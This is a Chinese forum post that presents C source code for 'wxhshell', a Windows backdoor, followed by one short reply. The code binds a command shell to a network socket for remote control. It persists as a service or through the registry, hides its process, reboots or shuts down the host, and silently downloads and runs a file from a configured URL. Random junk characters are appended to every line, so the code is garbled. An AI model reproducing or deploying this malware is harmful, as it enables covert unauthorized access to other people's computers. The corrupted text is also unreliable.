  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (@uQ>dR:  
  else g0cCw2S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UyD=x(li  
  } cS4e}\q,  
  else { :NA cad  
<kPU*P,  
    switch(cmd[0]) { `^wF]R  
  j05ahquI  
  // 帮助 hKt AvTg  
  case '?': { \dbpC Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vu^J'>X  
    break; /uW6P3M  
  } \eI )(,A  
  // 安装 f*2V  
  case 'i': { |cWW5\/  
    if(Install()) AG/nX?u7)t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w+2:eFi=/  
    else e`<=& w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cV&(L]k>`  
    break; Itj|0PGd  
    } >fdS$,`A  
  // 卸载 W-7yi`5  
  case 'r': { *ZKfyn$+~  
    if(Uninstall()) &p=|z2 J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F! c%&Z  
    else x>&1;g2r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =WJ*$j(  
    break; az F"tke  
    } oopTo51,a  
  // 显示 wxhshell 所在路径 Vy-H3BR  
  case 'p': { s@^GjA[6+  
    char svExeFile[MAX_PATH];  J@(*(oQb  
    strcpy(svExeFile,"\n\r"); xfos>|0N  
      strcat(svExeFile,ExeFile);  5t:4%  
        send(wsh,svExeFile,strlen(svExeFile),0); 3L=vsvO4  
    break; :pDwg d  
    } <IK8 Ucp  
  // 重启 [<`xAh_,  
  case 'b': { v;?t=}NwF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +3]@0VM26;  
    if(Boot(REBOOT)) m-*du(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6LNm>O  
    else { QIBv}hgcy  
    closesocket(wsh); _S2QY7/  
    ExitThread(0); "MZVwl"E#  
    } ToDNBt.u{+  
    break; yY`<t  
    } jVi''#F?f  
  // 关机 :*A6Ba  
  case 'd': { Zo-s_6uC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  UZmz k  
    if(Boot(SHUTDOWN)) py P5^Qv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_l W#feR  
    else { ]Ol@^$8}  
    closesocket(wsh); O'$0K0k3  
    ExitThread(0); g2:^Z==  
    } hb_YdnG  
    break; /_26D0}UuF  
    } Eq~&d.j  
  // 获取shell 4K[U*-\"  
  case 's': { l: 1Zq_?v;  
    CmdShell(wsh); ,)S|%tDW  
    closesocket(wsh); M6pGf_qt  
    ExitThread(0);  {hZ_f3o  
    break; M2my>  
  } FyZw='D  
  // 退出 5c3 )p^ ]g  
  case 'x': { pY ceMZ$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )Qp?N<&'  
    CloseIt(wsh); ;gK+AU  
    break; J --9VlC'  
    } c5R58#XK=  
  // 离开 8 yB  
  case 'q': { 5s;HF |2x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6yv*AmFh  
    closesocket(wsh); ,%v  
    WSACleanup(); ASR"<]  
    exit(1); xh_6@}D2J  
    break; :T5l0h-eC  
        } VISNmz2P  
  } ;IXDZ#;   
  } xwTN\7f>  
x_2 [+Ol  
  // 提示信息 7evE;KL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y5BNHweaRb  
} D!TS/J1S;u  
  } gSL$silc  
:&&Ps4\Sq  
  return; qyp"q{k0  
} T$0//7$')  
,]y)Dy  
// shell模块句柄 0rsdDME[  
int CmdShell(SOCKET sock) T AwA)Zg  
{ 7W5FHZd'  
STARTUPINFO si; T&w3IKb|}  
ZeroMemory(&si,sizeof(si)); 4F)z-<-b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .!l#z|/x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; az?B'|VX  
PROCESS_INFORMATION ProcessInfo; QVb @/  
char cmdline[]="cmd"; 6EGh8H f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ 9^1m  
  return 0; O}Fp\"  
} TL1pv l  
lRZt))3  
// 自身启动模式 u"?cmg<.1  
int StartFromService(void) h=EJNz>U  
{ )0yY|E\  
typedef struct #gUM%$  
{ e~i ?E  
  DWORD ExitStatus; g5; W6QX  
  DWORD PebBaseAddress; Ex&f}/F  
  DWORD AffinityMask; %kKe"$)0  
  DWORD BasePriority; &owBmpz  
  ULONG UniqueProcessId; _udH(NC  
  ULONG InheritedFromUniqueProcessId; !3kyPoq+  
}   PROCESS_BASIC_INFORMATION; m%qah>11  
^z "90-V^  
PROCNTQSIP NtQueryInformationProcess; ,l.O @  
N6Vn/7I5%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6AUXYbK,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XB50>??NE  
}f;Zx)!  
  HANDLE             hProcess; esLPJx  
  PROCESS_BASIC_INFORMATION pbi; kzbgy)PK3  
O)Nj'Hcu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zX{ [Z  
  if(NULL == hInst ) return 0; \2L%%M  
WG1Uv PK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cCw?%qq,L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YaFQy0t%/5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s@jzu  
y4C_G?  
  if (!NtQueryInformationProcess) return 0; =zK7`5  
Y9'Bdm/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p*-o33Ve  
  if(!hProcess) return 0; T,TKt%  
1Ty{k^%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N|h`}*:x=  
y9=/kFPRm  
  CloseHandle(hProcess); ;Tvy)*{  
oi::/W|A+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p6A"_b^  
if(hProcess==NULL) return 0; ]O,!B''8k  
y4/>3tz;  
HMODULE hMod; 5Q?7 xTQ  
char procName[255]; )^|zuYzN  
unsigned long cbNeeded; +s V$s]U  
R1! {,*Gy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V=H87 ^b  
CGbW] D$@  
  CloseHandle(hProcess); vAy`8Q  
:cnH@:  
if(strstr(procName,"services")) return 1; // 以服务启动 <ij;^ygYD  
>wNE!Oa*B  
  return 0; // 注册表启动 L @_IGH  
} q-KN{y/  
w5b D  
// 主模块 TlYeYN5V  
int StartWxhshell(LPSTR lpCmdLine) S"!nM]2L  
{ #W @6@Mv  
  SOCKET wsl; erdWGUfQOe  
BOOL val=TRUE; r\F`xtR(  
  int port=0; Ja4O*C<  
  struct sockaddr_in door; THi*'D/  
smoz5~  
  if(wscfg.ws_autoins) Install(); A%Pjg1(uX  
vnw83a%3  
port=atoi(lpCmdLine); `$JPF  Z  
R.Ao%VT  
if(port<=0) port=wscfg.ws_port; 8*V3g_z  
:5L9tNr{_  
  WSADATA data; _ncqd,&z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '&I.w p`^  
#VgPg5k.<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dr^#e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w-Y-;*S  
  door.sin_family = AF_INET; 'ZgrN14  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Tf,2?O  
  door.sin_port = htons(port); : tu6'X\k  
63#Sf$p{v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t,]r%  
closesocket(wsl); RC sQLKqF  
return 1; Hq?-e?Nc  
} :D-My28'  
I: P/ ?-  
  if(listen(wsl,2) == INVALID_SOCKET) { WtN o@e'  
closesocket(wsl); ; dPyhR  
return 1; ;sE;l7  
} )(oRJu)y  
  Wxhshell(wsl); s(w6Ldi  
  WSACleanup(); 2ro4{^(_  
*[]7l]XK.  
return 0; +H,/W_/g  
fil'._  
} Pn\ Lg8  
P sij*%I4  
// 以NT服务方式启动 h\Ck""&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?lKFcm  
{ U;<07 aMj  
DWORD   status = 0; ,]gYy00w0s  
  DWORD   specificError = 0xfffffff; r?{tu82#i  
t7pe)i,)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qgbp-A!2zF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lEL&tZ}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2>80Qp!xO  
  serviceStatus.dwWin32ExitCode     = 0; @" UoQ_h%  
  serviceStatus.dwServiceSpecificExitCode = 0; cT'D2Yeq  
  serviceStatus.dwCheckPoint       = 0; ^vS+xq|4"  
  serviceStatus.dwWaitHint       = 0; c |  
CPWe (  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .E-)R  
  if (hServiceStatusHandle==0) return; R *lJe6  
'#mv-/<t*  
status = GetLastError(); ma)Y@Uw M  
  if (status!=NO_ERROR) Q|q.~x<RQ  
{ CvW*/d q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e|Rd#  
    serviceStatus.dwCheckPoint       = 0; O~N0JK_>  
    serviceStatus.dwWaitHint       = 0; MKq:=^w  
    serviceStatus.dwWin32ExitCode     = status; 7dhip  
    serviceStatus.dwServiceSpecificExitCode = specificError; M<hX !B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qn}4PVn4  
    return; W-ErzX  
  } 5(R ./  
1K.i>]}>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q%o:*(x[O  
  serviceStatus.dwCheckPoint       = 0; w#_/CU L  
  serviceStatus.dwWaitHint       = 0; PTfTT_t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o(Yj[:+m  
} . Xn w@\k'  
}ac0}  
// 处理NT服务事件,比如:启动、停止 O>9+ tQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f'` QW@U  
{ )F Q '^  
switch(fdwControl) Q>]FO  
{ NI_.wB{  
case SERVICE_CONTROL_STOP: r9 G}[# DO  
  serviceStatus.dwWin32ExitCode = 0; P~/Gla k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MA0 }BJoW  
  serviceStatus.dwCheckPoint   = 0; o,dO.isgh>  
  serviceStatus.dwWaitHint     = 0; Bj5_=oo+d  
  { +L D\~dcV+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M}2a/}4   
  } gM~ dPM|  
  return; bBA #o\[  
case SERVICE_CONTROL_PAUSE: ejP273*ah  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f-6-!  
  break; H/n3il_-I  
case SERVICE_CONTROL_CONTINUE: 7~n<%q/6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VX0q!Q  
  break; ^EY^.?Mg  
case SERVICE_CONTROL_INTERROGATE: p2s*'dab7  
  break; SC/|o  
}; e=S51q_0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :!H]gC 4  
} 3m:[o`L  
|zhVl  
// 标准应用程序主函数 ;LSdY}*%0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R+ #(\  
{ {+r0Nikx_  
:%-xiv  
// 获取操作系统版本 *\ZK(/V  
OsIsNt=GetOsVer(); xV@/z5Tq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R3=PV{`M  
S?TyC";!  
  // 从命令行安装 (|H1zO  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qz6Ry\u  
qXC>D Gy  
  // 下载执行文件 &} %rZU  
if(wscfg.ws_downexe) { >S/m(98  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OtK=UtVI  
  WinExec(wscfg.ws_filenam,SW_HIDE); >(nb8T|  
} S-@E  
], Xva`"  
if(!OsIsNt) { 7J?`gl&C  
// 如果时win9x,隐藏进程并且设置为注册表启动 $KDH"J  
HideProc(); e lj]e  
StartWxhshell(lpCmdLine); ^PHWUb+``  
} >~C*m `#  
else )r X["=  
  if(StartFromService()) 6bj.z  
  // 以服务方式启动 :Z rE/3_S  
  StartServiceCtrlDispatcher(DispatchTable); 8~Avg6,  
else zq\YZ:JC  
  // 普通方式启动 *UM=EQaYk  
  StartWxhshell(lpCmdLine); +*/XfPlr|  
5y3V duE  
return 0; cVCylR U"  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八